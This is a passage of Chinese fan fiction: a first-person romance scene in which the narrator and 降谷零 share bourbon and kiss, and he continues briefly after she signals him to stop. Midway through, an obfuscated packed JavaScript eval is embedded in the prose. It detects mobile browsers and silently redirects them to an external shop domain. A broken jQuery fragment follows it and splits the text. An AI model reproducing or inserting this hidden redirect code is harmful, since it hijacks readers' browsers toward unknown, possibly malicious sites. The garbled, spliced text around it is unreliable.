所剩无几。
我的情绪在短短几个小时内经历了大起大落,此时着实是没有心思去仔细分析自己的心路历程。
——酒精,睡眠,转移注意力。
只剩下这三条可供选择的路,能让我暂时缓一缓。
舞会时喝了不少香槟,而且再喝下去我可能就会做出什么真的要去挖洞躲起来的事情了,pass。
现在一下子也睡不着,而且晾着降谷零一个人倒时差的话,他也太惨了,pass。
于是我飞速地进行了选择——转移注意力。
“……你难得来这里,我们别继续浪费时间了。”
我强撑着勇气直视降谷零:“我们来做点有意义的事吧,能让我觉得快乐的那种。”
降谷零眯着眼睛看了我半晌,主动往后退开了些许,给我留出了一点位置。
我身边的压迫感瞬间便没那么重了。
“什么?”
他偏着头看我,眨了眨眼睛。
我没有回答,而是直接上手——
伸手去扒降谷零的衣服。
降谷零之前把厚实的外套给了我,他身上剩下的单薄衣服非常好扒。
我三两下便把他扒拉得只剩下了一件白衬衫。
扣子已经被我解开了大半。
降谷零:“?”
他只是愣了片刻,便非常随遇而安地任我扒拉他的衣服。
甚至还不着痕迹地换了个更方便我扒拉的姿势。
我一边解他的扣子,一边拍了拍降谷零的肩,示意他起身:“你自己解,我去卧室里拿点东西。”
“……”
降谷零不动声色地让开位置,我顺利地从沙发上弹了起来。
想了想,我扭头指了指餐桌旁的柜子:“你下了飞机应该还没来得及吃东西吧?我那里有好多好东西,还有酒,你随便拿。”
“不过,酒的话,我只买了波本,一柜子都是。”
我眨巴眨巴眼睛,有些不好意思地用指尖在发梢上打着圈。
“……”我顺便强行解释了一句,“因为上次波本加可乐的那个喝法还挺美味的,所以买了……当然,波本确实也挺美味的!所以买了!”
讲到一半,我才想起来最后一瓶可乐已经喝完了,柜子里只剩下波本。
为了让整段解释听起来不那么像强词夺理,我只能强行加上了后半句话。
降谷零一脸了然,非常恰到好处地弯了弯嘴角:“确实挺美味的。”
我:“……”
感觉表述好像有点奇怪。_(:з)∠)_
回家之后便被降谷零按在这里,我还没来得及换衣服,身上还穿着那套拖地的礼裙。
我本来想顺便换一下衣服,但是觉得这衣服还挺好看的。
——不过穿起来也很麻烦,有一大堆繁琐的绑带和拉链。
“……”穿都穿了,等会事做完了之后,跟降谷零合个影再换衣服好了。
于是我非常单纯地只拿上了必要的小东西,便从卧室回到了客厅。
降谷零漫不经心地倚在沙发上,身边堆着被我扒拉下来的衣服。
听到我的动静,他抬眼看了过来,轻轻地晃着手中的酒杯。
澄澈的液体微微晃动。
而他的面前放着一瓶已经打开了的波本。
我纳闷,非常贴心地关心了他一句:“……你居然直接喝啊,不吃点什么垫垫吗,空腹喝酒容易醉叭。”
降谷零不为所动地拿起手机看了眼时间,似乎是在思考养生秘诀:“等会再吃吧。”
我觉得他可能是在飞机上吃过饭了,便没有再坚持:“哦哦,好叭。”
他尝了一口酒,漫不经心地颔首,朝客厅的角落示意:“楼梯旁边那个落地镜还挺大的。”
我的公寓是复式楼,客厅角落有一个小小的旋转楼梯。
而来我家玩过的朋友们每次第一眼看到的便是那个巨大的落地镜。
我点点头:“为了方便我平常试衣服,我就买了一个最大的镜子,从上到下都看得很清楚……噢,还可以看自己做瑜伽时的姿势以及表情管理=v=。”
我一边说着,一边靠近沙发上的降谷零,在他身边坐下:“欸,这个镜子和我们现在要做的事情也有点关联。”
我刚想从手里将拿到的东西给降谷零展示一下,他突然掐着我的下巴,把口中的波本酒灌进了我的口中。
我愣住:“?”
火辣呛人的冰凉液体被对方强行灌入我的口腔,慢慢滑进我的身体里。
就像上次在酒店里喂水一样,这次降谷零依旧控制得很好,完全没有让我呛到。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14178664|150618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是一个带着醇香酒味,有些热烈和缱绻的吻。
许久没有接吻,再加上这个吻本就毫无预兆,我有些生疏,换气不畅。
甚至有种空气快要被掠夺的窒息感觉。
我只能拍着降谷零的胸口让他快点结束。
他松开了我片刻,气定神闲地看着我面红耳赤地不停呼气的样子,然后非常贴心地问:“现在气顺了吗?”
“……”我深呼吸了一口气,“顺了,你怎么突——”
又是一
个带着波本味的吻。
这次甚至比上次还要热烈,带着浓厚的掠夺意味和进攻特征。
灌进我口中的波本酒液也比方才那次要多。
降谷零的手也从我的下巴移到了我的脑后,不让我轻易地逃开。
浓厚的酒味,缠绵的纠缠。
我有点头晕眼花。
“…………”
原来刚刚只是让我换一下气的中场休息吗。
感觉到对方的另一只手开始缓缓移向我背后的绑带时,我终于意识到了些许不对劲。
我戳了降谷零的胸口好几下,示意他停。
可他没有,甚至还收紧了手上的力气,往内侧托着我的后脑勺,我被推得离他更近。
降谷零几乎是咬在我的唇上。
我:“…………”
等一下,刚刚不是还说只要一件事我不愿意他就不会做的吗??
难道只局限于分手逃跑之类的大事吗??这种不算?
我又戳了好几下他的胸口。
直到我开始戳他的手臂时,降谷零终于停下了。
我喘着气:“……你、你刚刚怎么不停啊!”
他慢条斯理地伸手,替我擦了擦唇角:“我一开始以为你只是……随便戳戳。”
降谷零的措辞非常含蓄。
我回忆了一下一开始戳的地方。
“……”
嗯,刚刚还没注意,只发现是胸口。
现在想想,好像确实是胸口上有些……微妙的地方。
我:“。”
我转移话题:“亲亲可以,但你怎么突然喂我酒啊,我今晚不能再喝了,已经有点微醺的感觉了,感觉有点飘飘然。”
为了保持清醒,我晃了晃脑袋